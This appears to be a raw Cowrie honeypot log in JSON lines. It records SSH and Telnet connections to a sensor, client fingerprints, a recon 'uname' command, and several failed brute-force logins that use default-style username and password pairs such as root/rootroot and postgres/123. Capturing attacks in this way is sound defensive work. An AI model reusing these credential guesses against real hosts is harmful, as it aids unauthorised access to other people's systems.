{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:22.720965Z","src_ip":"172.237.20.62","session":"8f9ce9fa724b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:22.724994Z","src_ip":"172.237.20.62","session":"8f9ce9fa724b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:22.890903Z","src_ip":"172.237.20.62","session":"8f9ce9fa724b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:22.894668Z","src_ip":"172.237.20.62","session":"8f9ce9fa724b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.05249881744385,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:23.377493Z","src_ip":"45.58.127.90","session":"ebdf135b3513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43724,"dst_ip":"159.203.135.109","dst_port":22,"session":"52e861ff96aa","protocol":"ssh","message":"New connection: 176.65.132.129:43724 (159.203.135.109:22) [session: 52e861ff96aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:24.009133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:24.014194Z","src_ip":"176.65.132.129","session":"52e861ff96aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:24.096485Z","src_ip":"176.65.132.129","session":"52e861ff96aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:24.367588Z","src_ip":"176.65.132.129","session":"52e861ff96aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.8589870929718,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:25.385649Z","src_ip":"45.58.127.90","session":"767933121abd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:25.452664Z","src_ip":"176.65.132.129","session":"52e861ff96aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37130,"dst_ip":"159.203.135.109","dst_port":22,"session":"5da157ead7d0","protocol":"ssh","message":"New connection: 176.65.132.129:37130 (159.203.135.109:22) [session: 5da157ead7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:27.405589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:27.410318Z","src_ip":"176.65.132.129","session":"5da157ead7d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:27.493758Z","src_ip":"176.65.132.129","session":"5da157ead7d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:27.744439Z","src_ip":"176.65.132.129","session":"5da157ead7d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:28.830732Z","src_ip":"176.65.132.129","session":"5da157ead7d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37138,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab5aada6d4e0","protocol":"ssh","message":"New connection: 176.65.132.129:37138 (159.203.135.109:22) [session: ab5aada6d4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:30.593268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:30.597484Z","src_ip":"176.65.132.129","session":"ab5aada6d4e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:30.679181Z","src_ip":"176.65.132.129","session":"ab5aada6d4e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:30.932856Z","src_ip":"176.65.132.129","session":"ab5aada6d4e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.142966985702515,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:31.479884Z","src_ip":"45.58.127.90","session":"356d5800fd0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:32.016705Z","src_ip":"176.65.132.129","session":"ab5aada6d4e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48784,"dst_ip":"159.203.135.109","dst_port":22,"session":"8858b820b080","protocol":"ssh","message":"New connection: 172.237.20.62:48784 (159.203.135.109:22) [session: 8858b820b080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:32.624498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:32.628407Z","src_ip":"172.237.20.62","session":"8858b820b080","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:32.787120Z","src_ip":"172.237.20.62","session":"8858b820b080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:33.263808Z","src_ip":"172.237.20.62","session":"8858b820b080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37162,"dst_ip":"159.203.135.109","dst_port":22,"session":"94723a57f161","protocol":"ssh","message":"New connection: 176.65.132.129:37162 (159.203.135.109:22) [session: 94723a57f161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:33.813037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:33.817567Z","src_ip":"176.65.132.129","session":"94723a57f161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:33.899595Z","src_ip":"176.65.132.129","session":"94723a57f161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:34.150351Z","src_ip":"176.65.132.129","session":"94723a57f161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:34.424888Z","src_ip":"172.237.20.62","session":"8858b820b080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36962,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d01db7f3ef8","protocol":"telnet","message":"New connection: 45.58.127.90:36962 (10.17.0.5:23) [session: 0d01db7f3ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:35.010950Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:35.234539Z","src_ip":"176.65.132.129","session":"94723a57f161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.93684434890747,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:35.617088Z","src_ip":"45.58.127.90","session":"b3013f027de8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58248,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd48b70a6a3a","protocol":"ssh","message":"New connection: 176.65.132.129:58248 (159.203.135.109:22) [session: fd48b70a6a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:37.076013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:37.080787Z","src_ip":"176.65.132.129","session":"fd48b70a6a3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:37.162756Z","src_ip":"176.65.132.129","session":"fd48b70a6a3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:37.408291Z","src_ip":"176.65.132.129","session":"fd48b70a6a3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:38.495733Z","src_ip":"176.65.132.129","session":"fd48b70a6a3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58250,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2227cd8fb8e","protocol":"ssh","message":"New connection: 176.65.132.129:58250 (159.203.135.109:22) [session: a2227cd8fb8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:40.298372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:40.303469Z","src_ip":"176.65.132.129","session":"a2227cd8fb8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:40.386484Z","src_ip":"176.65.132.129","session":"a2227cd8fb8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:40.633528Z","src_ip":"176.65.132.129","session":"a2227cd8fb8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:41.831578Z","src_ip":"176.65.132.129","session":"a2227cd8fb8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.23074245452881,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:42.086125Z","src_ip":"45.58.127.90","session":"81f58ce42f11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58256,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1c55abadb6d","protocol":"ssh","message":"New connection: 176.65.132.129:58256 (159.203.135.109:22) [session: a1c55abadb6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:43.485254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:43.490283Z","src_ip":"176.65.132.129","session":"a1c55abadb6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50640,"dst_ip":"159.203.135.109","dst_port":22,"session":"c01e64b80a65","protocol":"ssh","message":"New connection: 172.237.20.62:50640 (159.203.135.109:22) [session: c01e64b80a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:43.523016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:43.531699Z","src_ip":"172.237.20.62","session":"c01e64b80a65","protocol":"ssh"}
